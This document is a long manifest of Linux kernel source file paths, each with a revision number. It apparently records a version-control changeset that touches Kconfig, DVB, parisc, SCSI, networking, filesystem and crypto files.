1.1 linux/arch/arm/mach-footbridge/Kconfig - 1.1 linux/scripts/kconfig/qconf.h - 1.1 linux/scripts/kconfig/qconf.cc - 1.1 linux/arch/arm/mach-iop310/Kconfig - 1.1 linux/scripts/kconfig/menu.c - 1.1 linux/arch/arm/mach-pxa/Kconfig - 1.1 linux/scripts/kconfig/mconf.c - 1.1 linux/scripts/kconfig/lkc_proto.h - 1.1 linux/arch/arm/mach-sa1100/Kconfig - 1.1 linux/drivers/md/Kconfig - 1.1 linux/arch/cris/Kconfig - 1.1 linux/include/linux/fcblist.h - 1.1 linux/net/ipv4/Kconfig - 1.1 linux/include/linux/eventpoll.h - 1.1 linux/arch/cris/drivers/Kconfig - 1.1 linux/arch/i386/Kconfig - 1.1 linux/drivers/net/wan/Kconfig - 1.1 linux/net/bridge/netfilter/Kconfig - 1.1 linux/net/bridge/br_netfilter.c - 1.1 linux/arch/ppc/8xx_io/Kconfig - 1.1 linux/include/linux/dvb/video.h - 1.1 linux/include/linux/dvb/osd.h - 1.1 linux/include/linux/dvb/net.h - 1.1 linux/include/linux/dvb/frontend.h - 1.1 linux/include/linux/dvb/dmx.h - 1.1 linux/net/irda/irlan/Kconfig - 1.1 linux/scripts/kconfig/lkc.h - 1.1 linux/include/linux/dvb/ca.h - 1.1 linux/sound/usb/Kconfig - 1.1 linux/drivers/media/video/Kconfig - 1.1 linux/drivers/net/wireless/Kconfig - 1.1 linux/drivers/media/radio/Kconfig - 1.1 linux/drivers/parport/Kconfig - 1.1 linux/drivers/pci/Kconfig - 1.1 linux/include/linux/dvb/audio.h - 1.1 linux/drivers/media/dvb/frontends/ves1820.c - 1.1 linux/drivers/media/dvb/frontends/grundig_29504-491.c - 1.1 linux/drivers/media/dvb/frontends/grundig_29504-401.c - 1.1 linux/scripts/kconfig/lex.zconf.c_shipped - 1.1 linux/drivers/media/dvb/frontends/alps_bsrv2.c - 1.1 linux/drivers/media/dvb/frontends/alps_bsru6.c - 1.1 linux/scripts/kconfig/kconfig_load.c - 1.1 linux/scripts/kconfig/images.c - 1.1 linux/arch/i386/mach-voyager/Makefile - 1.1 linux/arch/i386/mach-voyager/do_timer.h - 1.1 linux/arch/i386/mach-voyager/entry_arch.h - 1.1 linux/arch/i386/mach-voyager/irq_vectors.h - 1.1 linux/arch/i386/mach-voyager/setup.c - 1.1 linux/arch/i386/mach-voyager/setup_arch_post.h - 1.1 linux/arch/i386/mach-voyager/setup_arch_pre.h - 1.1 linux/arch/i386/mach-voyager/voyager_basic.c - 1.1 linux/arch/i386/mach-voyager/voyager_cat.c - 1.1 linux/arch/i386/mach-voyager/voyager_smp.c - 1.1 linux/arch/i386/mach-voyager/voyager_thread.c - 1.1 linux/drivers/media/dvb/frontends/Makefile - 1.1 linux/scripts/kconfig/expr.h - 1.1 linux/drivers/media/dvb/frontends/Kconfig - 1.1 linux/drivers/media/dvb/dvb-core/dvbdev.h - 1.1 linux/scripts/kconfig/expr.c - 1.1 linux/sound/sparc/Kconfig - 1.1 linux/arch/i386/oprofile/Kconfig - 1.1 linux/scripts/kconfig/confdata.c - 1.1 linux/include/linux/dm-ioctl.h - 1.1 linux/scripts/kconfig/conf.c - 1.1 linux/include/linux/device-mapper.h - 1.1 linux/include/linux/crypto.h - 1.1 linux/arch/ia64/Kconfig - 1.1 linux/drivers/media/dvb/dvb-core/dvbdev.c - 1.1 linux/drivers/media/dvb/dvb-core/dvb_net.h - 1.1 linux/drivers/media/dvb/dvb-core/dvb_net.c - 1.1 linux/drivers/media/dvb/dvb-core/dvb_ksyms.c - 1.1 linux/drivers/media/dvb/dvb-core/dvb_i2c.h - 1.1 linux/scripts/kconfig/Makefile - 1.1 linux/arch/ia64/hp/sim/Kconfig - 1.1 linux/scripts/Makefile.modver - 1.1 linux/scripts/Makefile.modinst - 1.1 linux/scripts/Makefile.lib - 1.1 linux/drivers/media/dvb/dvb-core/dvb_i2c.c - 1.1 linux/drivers/media/dvb/dvb-core/dvb_frontend.h - 1.1 linux/drivers/media/dvb/dvb-core/dvb_frontend.c - 1.1 linux/drivers/media/dvb/dvb-core/dvb_filter.h - 1.1 linux/sound/oss/dmasound/Kconfig - 1.1 linux/drivers/media/dvb/dvb-core/dvb_filter.c - 1.1 linux/include/asm-parisc/xor.h - 1.1 linux/include/asm-parisc/tlbflush.h - 1.1 linux/include/asm-parisc/tlb.h - 1.1 linux/include/asm-parisc/thread_info.h - 1.1 linux/arch/ia64/kernel/perfmon_generic.h - 1.1 linux/include/asm-parisc/superio.h - 1.1 linux/scripts/Makefile.build - 1.1 linux/include/asm-parisc/rt_sigframe.h - 1.1 linux/include/asm-parisc/perf.h - 1.1 linux/include/asm-parisc/percpu.h - 1.1 linux/include/asm-parisc/pdc_chassis.h - 1.1 linux/include/asm-parisc/module.h - 1.1 linux/include/asm-parisc/mmzone.h - 1.1 linux/include/asm-parisc/kmap_types.h - 1.1 linux/include/asm-parisc/grfioctl.h - 1.1 linux/include/asm-parisc/floppy.h - 1.1 linux/arch/ia64/mm/discontig.c - 1.1 linux/include/asm-parisc/eisa_eeprom.h - 1.1 linux/arch/ia64/mm/numa.c - 1.1 linux/drivers/char/Kconfig - 1.1 linux/include/asm-parisc/eisa_bus.h - 1.1 linux/include/asm-parisc/dma.h - 1.1 linux/include/asm-parisc/cacheflush.h - 1.1 linux/arch/m68k/Kconfig - 1.1 linux/drivers/media/dvb/dvb-core/dvb_demux.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_physdev.h - 1.1 linux/arch/mips/Kconfig - 1.1 linux/drivers/media/dvb/dvb-core/dvb_demux.c - 1.1 linux/include/asm-ia64/numnodes.h - 1.1 linux/arch/mips64/Kconfig - 1.1 linux/include/asm-ia64/numa.h - 1.1 linux/include/asm-ia64/nodedata.h - 1.1 linux/arch/parisc/Kconfig - 1.1 linux/include/asm-ia64/mmzone.h - 1.1 linux/drivers/media/dvb/dvb-core/dmxdev.h - 1.1 linux/drivers/media/dvb/dvb-core/dmxdev.c - 1.1 linux/arch/parisc/defpalo.conf - 1.1 linux/include/asm-i386/voyager.h - 1.1 linux/arch/parisc/kernel/asm-offsets.c - 1.1 linux/arch/parisc/kernel/binfmt_elf32.c - 1.1 linux/drivers/media/dvb/dvb-core/demux.h - 1.1 linux/drivers/media/dvb/dvb-core/compat.h - 1.1 linux/drivers/media/dvb/dvb-core/Makefile - 1.1 linux/arch/parisc/kernel/firmware.c - 1.1 linux/drivers/media/dvb/dvb-core/Kconfig - 1.1 linux/drivers/media/dvb/av7110/saa7146_v4l.h - 1.1 linux/arch/parisc/kernel/head64.S - 1.1 linux/drivers/media/dvb/av7110/saa7146_v4l.c - 1.1 linux/drivers/media/dvb/av7110/saa7146_defs.h - 1.1 linux/drivers/media/dvb/av7110/saa7146_core.h - 1.1 linux/arch/parisc/kernel/ioctl32.c - 1.1 linux/drivers/media/dvb/av7110/saa7146_core.c - 1.1 linux/drivers/media/dvb/av7110/saa7146.c - 1.1 linux/drivers/media/dvb/av7110/av7110_ir.c - 1.1 linux/arch/parisc/kernel/pacache.S - 1.1 linux/drivers/media/dvb/av7110/av7110_firm.h - 1.1 linux/drivers/media/dvb/av7110/av7110.h - 1.1 linux/drivers/pcmcia/Kconfig - 1.1 linux/arch/parisc/kernel/pdc_chassis.c - 1.1 linux/fs/partitions/Kconfig - 1.1 linux/arch/parisc/kernel/perf.c - 1.1 linux/arch/parisc/kernel/perf_asm.S - 1.1 linux/arch/parisc/kernel/perf_images.h - 1.1 linux/drivers/media/dvb/av7110/Makefile - 1.1 linux/arch/parisc/kernel/processor.c - 1.1 linux/fs/nls/Kconfig - 1.1 linux/drivers/media/dvb/Kconfig - 1.1 linux/drivers/pnp/Kconfig - 1.1 linux/drivers/media/Kconfig - 1.1 linux/drivers/pnp/isapnp/compat.c - 1.1 linux/arch/parisc/kernel/signal32.c - 1.1 linux/arch/parisc/kernel/smp.c - 1.1 linux/arch/parisc/kernel/sys32.h - 1.1 linux/drivers/s390/Kconfig - 1.1 linux/arch/parisc/kernel/sys_parisc32.c - 1.1 linux/net/bluetooth/rfcomm/Kconfig - 1.1 linux/drivers/sbus/char/Kconfig - 1.1 linux/drivers/md/dm.h - 1.1 linux/arch/parisc/kernel/unaligned.c - 1.1 linux/drivers/md/dm.c - 1.1 linux/drivers/md/dm-target.c - 1.1 linux/arch/parisc/lib/io.c - 1.1 linux/drivers/md/dm-table.c - 1.1 linux/arch/parisc/lib/memset.c - 1.1 linux/arch/parisc/math-emu/Makefile - 1.1 linux/arch/parisc/math-emu/README - 1.1 linux/arch/parisc/math-emu/cnv_float.h - 1.1 linux/arch/parisc/math-emu/dbl_float.h - 1.1 linux/arch/parisc/math-emu/decode_exc.c - 1.1 linux/arch/parisc/math-emu/denormal.c - 1.1 linux/arch/parisc/math-emu/dfadd.c - 1.1 linux/arch/parisc/math-emu/dfcmp.c - 1.1 linux/arch/parisc/math-emu/dfdiv.c - 1.1 linux/arch/parisc/math-emu/dfmpy.c - 1.1 linux/arch/parisc/math-emu/dfrem.c - 1.1 linux/arch/parisc/math-emu/dfsqrt.c - 1.1 linux/arch/parisc/math-emu/dfsub.c - 1.1 linux/arch/parisc/math-emu/driver.c - 1.1 linux/arch/parisc/math-emu/fcnvff.c - 1.1 linux/arch/parisc/math-emu/fcnvfu.c - 1.1 linux/arch/parisc/math-emu/fcnvfut.c - 1.1 linux/arch/parisc/math-emu/fcnvfx.c - 1.1 linux/arch/parisc/math-emu/fcnvfxt.c - 1.1 linux/arch/parisc/math-emu/fcnvuf.c - 1.1 linux/arch/parisc/math-emu/fcnvxf.c - 1.1 linux/arch/parisc/math-emu/float.h - 1.1 linux/arch/parisc/math-emu/fmpyfadd.c - 1.1 linux/arch/parisc/math-emu/fpbits.h - 1.1 linux/arch/parisc/math-emu/fpu.h - 1.1 linux/arch/parisc/math-emu/fpudispatch.c - 1.1 linux/arch/parisc/math-emu/frnd.c - 1.1 linux/fs/befs/super.c - 1.1 linux/arch/parisc/math-emu/math-emu.h - 1.1 linux/arch/parisc/math-emu/sfadd.c - 1.1 linux/arch/parisc/math-emu/sfcmp.c - 1.1 linux/arch/parisc/math-emu/sfdiv.c - 1.1 linux/arch/parisc/math-emu/sfmpy.c - 1.1 linux/arch/parisc/math-emu/sfrem.c - 1.1 linux/arch/parisc/math-emu/sfsqrt.c - 1.1 linux/arch/parisc/math-emu/sfsub.c - 1.1 linux/arch/parisc/math-emu/sgl_float.h - 1.1 linux/arch/parisc/math-emu/types.h - 1.1 linux/fs/ncpfs/Kconfig - 1.1 linux/drivers/md/dm-stripe.c - 1.1 linux/drivers/fc4/Kconfig - 1.1 linux/drivers/md/dm-ioctl.c - 1.1 linux/arch/parisc/mm/ioremap.c - 1.1 linux/drivers/cdrom/Kconfig - 1.1 linux/drivers/isdn/tpam/Kconfig - 1.1 linux/include/linux/pfkeyv2.h - 1.1 linux/drivers/scsi/Kconfig - 1.1 linux/drivers/isdn/i4l/Kconfig - 1.1 linux/drivers/isdn/sc/Kconfig - 1.1 linux/fs/fcblist.c - 1.1 linux/arch/ppc/8260_io/Kconfig - 1.1 linux/drivers/scsi/aic7xxx/Kconfig - 1.1 linux/net/irda/ircomm/Kconfig - 1.1 linux/drivers/char/agp/Kconfig - 1.1 linux/drivers/isdn/pcbit/Kconfig - 1.1 linux/arch/ppc/Kconfig - 1.1 linux/drivers/block/paride/Kconfig - 1.1 linux/drivers/char/drm/Kconfig - 1.1 linux/arch/ppc64/Kconfig - 1.1 linux/drivers/isdn/hysdn/Kconfig - 1.1 linux/drivers/isdn/icn/Kconfig - 1.1 linux/arch/s390/Kconfig - 1.1 linux/net/ipv4/ah.c - 1.1 linux/drivers/hotplug/Kconfig - 1.1 linux/arch/s390x/Kconfig - 1.1 linux/drivers/hotplug/acpiphp.h - 1.1 linux/drivers/hotplug/acpiphp_core.c - 1.1 linux/arch/sh/Kconfig - 1.1 linux/drivers/hotplug/acpiphp_glue.c - 1.1 linux/drivers/hotplug/acpiphp_pci.c - 1.1 linux/drivers/hotplug/acpiphp_res.c - 1.1 linux/arch/sparc/Kconfig - 1.1 linux/net/ipv4/netfilter/Kconfig - 1.1 linux/drivers/scsi/pcmcia/Kconfig - 1.1 linux/drivers/i2c/Kconfig - 1.1 linux/drivers/isdn/i4l/isdn_ppp_vj.h - 1.1 linux/drivers/isdn/i4l/isdn_ppp_vj.c - 1.1 linux/drivers/isdn/i4l/isdn_ppp_mp.h - 1.1 linux/drivers/isdn/i4l/isdn_ppp_mp.c - 1.1 linux/drivers/input/joystick/Kconfig - 1.1 linux/fs/befs/super.h - 1.1 linux/arch/sparc64/Kconfig - 1.1 linux/drivers/ide/Kconfig - 1.1 linux/drivers/isdn/i4l/isdn_net_lib.h - 1.1 linux/drivers/block/Kconfig - 1.1 linux/drivers/input/joystick/iforce/Kconfig - 1.1 linux/drivers/input/gameport/Kconfig - 1.1 linux/arch/um/Kconfig - 1.1 linux/arch/um/Kconfig_block - 1.1 linux/arch/um/Kconfig_char - 1.1 linux/arch/um/Kconfig_net - 1.1 linux/arch/um/Kconfig_scsi - 1.1 linux/drivers/usb/host/Kconfig - 1.1 linux/fs/befs/linuxvfs.c - 1.1 linux/arch/x86_64/Kconfig - 1.1 linux/fs/befs/io.h - 1.1 linux/fs/befs/io.c - 1.1 linux/fs/befs/inode.h - 1.1 linux/fs/befs/inode.c - 1.1 linux/sound/ppc/Kconfig - 1.1 linux/fs/befs/endian.h - 1.1 linux/fs/befs/debug.c - 1.1 linux/fs/befs/datastream.h - 1.1 linux/fs/befs/datastream.c - 1.1 linux/fs/befs/btree.h - 1.1 linux/fs/befs/btree.c - 1.1 linux/fs/befs/befs_fs_types.h - 1.1 linux/fs/befs/befs.h - 1.1 linux/fs/befs/attribute.c - 1.1 linux/fs/befs/TODO - 1.1 linux/fs/befs/Makefile - 1.1 linux/fs/befs/ChangeLog - 1.1 linux/sound/pci/Kconfig - 1.1 linux/fs/Kconfig - 1.1 linux/drivers/input/Kconfig - 1.1 linux/drivers/input/keyboard/Kconfig - 1.1 linux/lib/kobject.c - 1.1 linux/drivers/ieee1394/Kconfig - 1.1 linux/lib/Kconfig - 1.1 linux/net/sctp/Kconfig - 1.1 linux/crypto/Kconfig - 1.1 linux/crypto/Makefile - 1.1 linux/crypto/api.c - 1.1 linux/crypto/autoload.c - 1.1 linux/crypto/cipher.c - 1.1 linux/crypto/compress.c - 1.1 linux/crypto/des.c - 1.1 linux/crypto/digest.c - 1.1 linux/crypto/internal.h - 1.1 linux/crypto/md4.c - 1.1 linux/crypto/md5.c - 1.1 linux/crypto/sha1.c - 1.1 linux/crypto/tcrypt.c - 1.1 linux/crypto/tcrypt.h - 1.1 linux/drivers/usb/image/Kconfig - 1.1 linux/net/ipv4/netfilter/ipt_physdev.c - 1.1 linux/drivers/acorn/block/Kconfig - 1.1 linux/net/Kconfig - 1.1 linux/net/ipv4/xfrm_policy.c - 1.1 linux/drivers/zorro/Kconfig - 1.1 linux/drivers/input/misc/Kconfig - 1.1 linux/drivers/acorn/net/Kconfig - 1.1 linux/net/ipv6/netfilter/Kconfig - 1.1 linux/net/irda/Kconfig - 1.1 linux/drivers/acorn/scsi/Kconfig - 1.1 linux/net/irda/irnet/Kconfig - 1.1 linux/drivers/input/mouse/Kconfig - 1.1 linux/net/bluetooth/bnep/Kconfig - 1.1 linux/drivers/serial/Kconfig - 1.1 linux/drivers/isdn/hisax/Kconfig - 1.1 linux/drivers/sgi/Kconfig - 1.1 linux/drivers/telephony/Kconfig - 1.1 linux/net/ipx/Kconfig - 1.1 linux/drivers/scsi/g_NCR5380_mmio.c - 1.1 linux/drivers/acpi/Kconfig - 1.1 linux/drivers/video/Kconfig - 1.1 linux/net/sched/Kconfig - 1.1 linux/drivers/isdn/hardware/eicon/Kconfig - 1.1 linux/drivers/usb/storage/Kconfig - 1.1 linux/net/ipv4/xfrm_input.c - 1.1 linux/drivers/atm/Kconfig - 1.1 linux/net/ipv4/xfrm_state.c - 1.1 linux/drivers/usb/serial/Kconfig - 1.1 linux/drivers/isdn/hardware/avm/Kconfig - 1.1 linux/drivers/usb/misc/Kconfig - 1.1 linux/net/ipv6/Kconfig - 1.1 linux/drivers/usb/Kconfig - 1.1 linux/sound/oss/Kconfig - 1.1 linux/drivers/usb/net/Kconfig - 1.1 linux/drivers/isdn/hardware/Kconfig - 1.1 linux/net/bluetooth/Kconfig - 1.1 linux/include/linux/usb_ch9.h - 1.1 linux/drivers/isdn/eicon/Kconfig - 1.1 linux/drivers/usb/class/Kconfig - 1.1 linux/drivers/char/pcmcia/Kconfig - 1.1 linux/drivers/isdn/capi/Kconfig - 1.1 linux/net/ax25/Kconfig - 1.1 linux/drivers/usb/core/Kconfig - 1.1 linux/drivers/char/ftape/Kconfig - 1.1 linux/drivers/char/eventpoll.c - 1.1 linux/drivers/isdn/act2000/Kconfig - 1.1 linux/drivers/usb/input/Kconfig - 1.1 linux/include/net/xfrm.h - 1.1 linux/drivers/input/serio/Kconfig - 1.1 linux/drivers/isdn/Kconfig - 1.1 linux/init/Kconfig - 1.1 linux/drivers/usb/media/Kconfig - 1.1 linux/drivers/input/touchscreen/Kconfig - 1.1 linux/scripts/ver_linux - 1.10 linux/scripts/Makefile - 1.12 linux/net/x25/Makefile - 1.7 linux/net/unix/Makefile - 1.6 linux/net/sunrpc/xprt.c - 1.35 linux/net/sunrpc/svcsock.c - 1.24 linux/net/sunrpc/svcauth.c - 1.7 linux/net/sunrpc/svc.c - 1.17 linux/net/sunrpc/sunrpc_syms.c - 1.16 linux/net/sunrpc/Makefile - 1.8 linux/net/socket.c - 1.46 linux/net/sched/Config.in - 1.10 linux/net/rose/Makefile - 1.6 linux/net/packet/af_packet.c - 1.37 linux/net/netsyms.c - 1.54 linux/net/netrom/Makefile - 1.6 linux/net/netlink/af_netlink.c - 1.22 linux/net/irda/irlan/Config.in - 1.4 linux/net/irda/ircomm/Config.in - 1.4 linux/net/irda/Makefile - 1.11 linux/net/irda/Config.in - 1.9 linux/net/ipx/Makefile - 1.10 linux/net/ipx/Config.in - 1.6 linux/net/ipv6/udp.c - 1.34 linux/net/ipv6/tcp_ipv6.c - 1.43 linux/net/ipv6/sysctl_net_ipv6.c - 1.4 linux/net/ipv6/sit.c - 1.26 linux/net/ipv6/route.c - 1.25 linux/net/ipv6/raw.c - 1.30 linux/net/ipv6/ndisc.c - 1.26 linux/net/ipv6/ipv6_sockglue.c - 1.18 linux/net/ipv6/ip6_output.c - 1.16 linux/net/ipv6/ip6_input.c - 1.11 linux/net/ipv6/ip6_fib.c - 1.14 linux/net/ipv6/icmp.c - 1.22 linux/net/ipv6/datagram.c - 1.12 linux/net/ipv6/af_inet6.c - 1.27 linux/net/ipv6/addrconf.c - 1.29 linux/net/ipv6/Config.in - 1.9 linux/net/ipv4/udp.c - 1.35 linux/net/ipv4/tcp_output.c - 1.33 linux/net/ipv4/tcp_ipv4.c - 1.53 linux/net/ipv4/tcp_input.c - 1.45 linux/net/ipv4/tcp.c - 1.47 linux/net/ipv4/syncookies.c - 1.17 linux/net/ipv4/route.c - 1.38 linux/net/ipv4/raw.c - 1.27 linux/net/ipv4/proc.c - 1.14 linux/net/ipv4/ipmr.c - 1.25 linux/net/ipv4/ipip.c - 1.26 linux/net/ipv4/ip_sockglue.c - 1.21 linux/net/ipv4/ip_output.c - 1.38 linux/net/ipv4/ip_nat_dumb.c - 1.7 linux/net/ipv4/ip_input.c - 1.18 linux/net/ipv4/ip_gre.c - 1.25 linux/net/ipv4/ip_forward.c - 1.9 linux/net/ipv4/igmp.c - 1.21 linux/net/ipv4/icmp.c - 1.35 linux/net/ipv4/fib_semantics.c - 1.12 linux/net/ipv4/fib_hash.c - 1.7 linux/net/ipv4/arp.c - 1.26 linux/net/ipv4/af_inet.c - 1.44 linux/net/ipv4/Makefile - 1.13 linux/net/ipv4/Config.in - 1.12 linux/net/core/skbuff.c - 1.28 linux/net/core/rtnetlink.c - 1.11 linux/net/core/dst.c - 1.12 linux/net/bridge/br.c - 1.25 linux/net/bridge/Makefile - 1.7 linux/net/ax25/Makefile - 1.6 linux/net/ax25/Config.in - 1.7 linux/net/appletalk/Makefile - 1.7 linux/net/Config.in - 1.30 linux/net/802/psnap.c - 1.11 linux/mm/vmscan.c - 1.119 linux/mm/swapfile.c - 1.67 linux/mm/swap_state.c - 1.53 linux/mm/swap.c - 1.29 linux/mm/slab.c - 1.43 linux/mm/page_alloc.c - 1.98 linux/mm/mmap.c - 1.64 linux/mm/filemap.c - 1.141 linux/lib/Makefile - 1.15 linux/kernel/softirq.c - 1.32 linux/kernel/resource.c - 1.18 linux/kernel/module.c - 1.30 linux/kernel/ksyms.c - 1.173 linux/kernel/fork.c - 1.75 linux/kernel/Makefile - 1.39 linux/init/main.c - 1.95 linux/include/scsi/scsicam.h - 1.5 linux/include/net/udp.h - 1.11 linux/include/net/tcp.h - 1.39 linux/include/net/sock.h - 1.38 linux/include/net/route.h - 1.19 linux/include/net/ipv6.h - 1.12 linux/include/net/ipip.h - 1.6 linux/include/net/ip_fib.h - 1.8 linux/include/net/ip.h - 1.21 linux/include/net/dst.h - 1.9 linux/include/net/arp.h - 1.5 linux/include/linux/udp.h - 1.4 linux/include/linux/timer.h - 1.18 linux/include/linux/sysctl.h - 1.65 linux/include/linux/sys.h - 1.3 linux/include/linux/sunrpc/svc.h - 1.11 linux/include/linux/skbuff.h - 1.29 linux/include/linux/sched.h - 1.90 linux/include/linux/rtnetlink.h - 1.14 linux/include/linux/random.h - 1.6 linux/include/linux/pipe_fs_i.h - 1.10 linux/include/linux/pagemap.h - 1.49 linux/include/linux/notifier.h - 1.6 linux/include/linux/nfsd/xdr3.h - 1.7 linux/include/linux/nfsd/xdr.h - 1.7 linux/include/linux/nfsd/nfsfh.h - 1.16 linux/include/linux/nfsd/nfsd.h - 1.18 linux/include/linux/nfsd/export.h - 1.16 linux/include/linux/nfsd/cache.h - 1.4 linux/include/linux/netlink.h - 1.10 linux/include/linux/msdos_fs_sb.h - 1.11 linux/include/linux/msdos_fs.h - 1.24 linux/include/linux/mm.h - 1.106 linux/include/linux/major.h - 1.29 linux/include/linux/loop.h - 1.11 linux/include/linux/list.h - 1.23 linux/include/linux/kdev_t.h - 1.8 linux/include/linux/isdnif.h - 1.16 linux/include/linux/isdn_ppp.h - 1.14 linux/include/linux/isdn.h - 1.30 linux/include/linux/ipv6.h - 1.4 linux/include/linux/ip.h - 1.7 linux/include/linux/ioport.h - 1.13 linux/include/linux/in6.h - 1.7 linux/include/linux/if.h - 1.6 linux/include/linux/hdreg.h - 1.29 linux/include/linux/genhd.h - 1.30 linux/include/linux/fs.h - 1.197 linux/include/linux/fat_cvf.h - 1.5 linux/include/linux/blkdev.h - 1.76 linux/include/linux/blk.h - 1.38 linux/include/asm-sparc64/system.h - 1.25 linux/include/asm-sparc64/page.h - 1.21 linux/include/asm-i386/unistd.h - 1.30 linux/include/asm-i386/uaccess.h - 1.16 linux/include/asm-i386/poll.h - 1.3 linux/include/asm-i386/io.h - 1.31 linux/include/asm-i386/ide.h - 1.14 linux/include/asm-i386/fixmap.h - 1.13 linux/fs/vfat/namei.c - 1.37 linux/fs/super.c - 1.93 linux/fs/read_write.c - 1.28 linux/fs/pipe.c - 1.36 linux/fs/open.c - 1.44 linux/fs/nls/Config.in - 1.13 linux/fs/nfsd/vfs.c - 1.59 linux/fs/nfsd/nfsxdr.c - 1.18 linux/fs/nfsd/nfssvc.c - 1.28 linux/fs/nfsd/nfsproc.c - 1.29 linux/fs/nfsd/nfsctl.c - 1.37 linux/fs/nfsd/nfscache.c - 1.12 linux/fs/nfsd/nfs3xdr.c - 1.31 linux/fs/nfsd/nfs3proc.c - 1.19 linux/fs/nfsd/export.c - 1.44 linux/fs/ncpfs/Config.in - 1.8 linux/fs/msdos/namei.c - 1.35 linux/fs/lockd/xdr.c - 1.16 linux/fs/file_table.c - 1.25 linux/fs/fat/misc.c - 1.16 linux/fs/fat/inode.c - 1.51 linux/fs/fat/file.c - 1.27 linux/fs/fat/fatfs_syms.c - 1.15 linux/fs/fat/dir.c - 1.21 linux/fs/fat/cvf.c - 1.9 linux/fs/fat/cache.c - 1.20 linux/fs/fat/buffer.c - 1.12 linux/fs/fat/Makefile - 1.7 linux/fs/ext2/inode.c - 1.58 linux/fs/buffer.c - 1.141 linux/fs/block_dev.c - 1.67 linux/fs/Makefile - 1.73 linux/fs/Config.in - 1.101 linux/drivers/video/tcxfb.c - 1.10 linux/drivers/video/leofb.c - 1.13 linux/drivers/video/clgenfb.h - 1.5 linux/drivers/video/clgenfb.c - 1.30 linux/drivers/video/bwtwofb.c - 1.12 linux/drivers/video/Config.in - 1.42 linux/drivers/usb/Config.in - 1.61 linux/drivers/scsi/wd7000.h - 1.8 linux/drivers/scsi/wd7000.c - 1.19 linux/drivers/scsi/ultrastor.h - 1.4 linux/drivers/scsi/ultrastor.c - 1.15 linux/drivers/scsi/u14-34f.h - 1.13 linux/drivers/scsi/u14-34f.c - 1.25 linux/drivers/scsi/tmscsim.c - 1.19 linux/drivers/scsi/t128.h - 1.7 linux/drivers/scsi/t128.c - 1.12 linux/drivers/scsi/sym53c8xx.h - 1.11 linux/drivers/scsi/sym53c8xx.c - 1.37 linux/drivers/scsi/sym53c416.h - 1.7 linux/drivers/scsi/sym53c416.c - 1.14 linux/drivers/scsi/st.c - 1.56 linux/drivers/scsi/sr_ioctl.c - 1.30 linux/drivers/scsi/sr.h - 1.11 linux/drivers/scsi/sr.c - 1.57 linux/drivers/scsi/sg.c - 1.42 linux/drivers/scsi/seagate.h - 1.6 linux/drivers/scsi/seagate.c - 1.21 linux/drivers/scsi/sd.h - 1.12 linux/drivers/scsi/sd.c - 1.77 linux/drivers/scsi/scsicam.c - 1.13 linux/drivers/scsi/scsi_syms.c - 1.23 linux/drivers/scsi/scsi_error.c - 1.34 linux/drivers/scsi/scsi_debug.h - 1.10 linux/drivers/scsi/scsi_debug.c - 1.25 linux/drivers/scsi/scsi.h - 1.38 linux/drivers/scsi/scsi.c - 1.64 linux/drivers/scsi/qlogicpti.h - 1.8 linux/drivers/scsi/qlogicpti.c - 1.22 linux/drivers/scsi/qlogicisp.h - 1.5 linux/drivers/scsi/qlogicisp.c - 1.30 linux/drivers/scsi/qlogicfc.h - 1.12 linux/drivers/scsi/qlogicfc.c - 1.31 linux/drivers/scsi/qlogicfas.h - 1.5 linux/drivers/scsi/qlogicfas.c - 1.17 linux/drivers/scsi/psi240i.h - 1.6 linux/drivers/scsi/psi240i.c - 1.10 linux/drivers/scsi/ppa.h - 1.12 linux/drivers/scsi/ppa.c - 1.20 linux/drivers/scsi/pluto.h - 1.5 linux/drivers/scsi/pci2220i.h - 1.9 linux/drivers/scsi/pci2220i.c - 1.25 linux/drivers/scsi/pci2000.h - 1.8 linux/drivers/scsi/pci2000.c - 1.22 linux/drivers/scsi/pas16.h - 1.6 linux/drivers/scsi/pas16.c - 1.13 linux/drivers/scsi/ncr53c8xx.h - 1.7 linux/drivers/scsi/ncr53c8xx.c - 1.28 linux/drivers/scsi/mvme16x.h - 1.5 linux/drivers/scsi/mesh.c - 1.13 linux/drivers/scsi/megaraid.h - 1.16 linux/drivers/scsi/megaraid.c - 1.38 linux/drivers/scsi/mac_scsi.h - 1.4 linux/drivers/scsi/inia100.h - 1.12 linux/drivers/scsi/inia100.c - 1.23 linux/drivers/scsi/ini9100u.h - 1.12 linux/drivers/scsi/ini9100u.c - 1.20 linux/drivers/scsi/in2000.h - 1.12 linux/drivers/scsi/in2000.c - 1.13 linux/drivers/scsi/imm.h - 1.11 linux/drivers/scsi/imm.c - 1.20 linux/drivers/scsi/ide-scsi.c - 1.47 linux/drivers/scsi/ibmmca.h - 1.8 linux/drivers/scsi/ibmmca.c - 1.19 linux/drivers/scsi/hosts.h - 1.29 linux/drivers/scsi/hosts.c - 1.35 linux/drivers/scsi/gdth.h - 1.10 linux/drivers/scsi/gdth.c - 1.22 linux/drivers/scsi/g_NCR5380.h - 1.8 linux/drivers/scsi/g_NCR5380.c - 1.17 linux/drivers/scsi/fdomain.h - 1.7 linux/drivers/scsi/fdomain.c - 1.24 linux/drivers/scsi/fd_mcs.h - 1.5 linux/drivers/scsi/fd_mcs.c - 1.9 linux/drivers/scsi/fcal.h - 1.5 linux/drivers/scsi/esp.h - 1.9 linux/drivers/scsi/esp.c - 1.27 linux/drivers/scsi/eata_pio.h - 1.3 linux/drivers/scsi/eata_pio.c - 1.16 linux/drivers/scsi/eata_generic.h - 1.4 linux/drivers/scsi/eata_dma.h - 1.4 linux/drivers/scsi/eata_dma.c - 1.20 linux/drivers/scsi/eata.h - 1.13 linux/drivers/scsi/eata.c - 1.28 linux/drivers/scsi/dtc.h - 1.6 linux/drivers/scsi/dtc.c - 1.12 linux/drivers/scsi/dc390.h - 1.8 linux/drivers/scsi/bvme6000.h - 1.5 linux/drivers/scsi/atp870u.h - 1.8 linux/drivers/scsi/atp870u.c - 1.23 linux/drivers/scsi/amiga7xx.h - 1.5 linux/drivers/scsi/aha1740.h - 1.5 linux/drivers/scsi/aha1740.c - 1.12 linux/drivers/scsi/aha1542.h - 1.8 linux/drivers/scsi/aha1542.c - 1.28 linux/drivers/scsi/aha152x.h - 1.10 linux/drivers/scsi/aha152x.c - 1.33 linux/drivers/scsi/advansys.h - 1.9 linux/drivers/scsi/advansys.c - 1.30 linux/drivers/scsi/NCR53c406a.h - 1.5 linux/drivers/scsi/NCR53c406a.c - 1.15 linux/drivers/scsi/NCR5380.h - 1.6 linux/drivers/scsi/NCR5380.c - 1.13 linux/drivers/scsi/Makefile - 1.43 linux/drivers/scsi/Config.in - 1.34 linux/drivers/scsi/BusLogic.h - 1.11 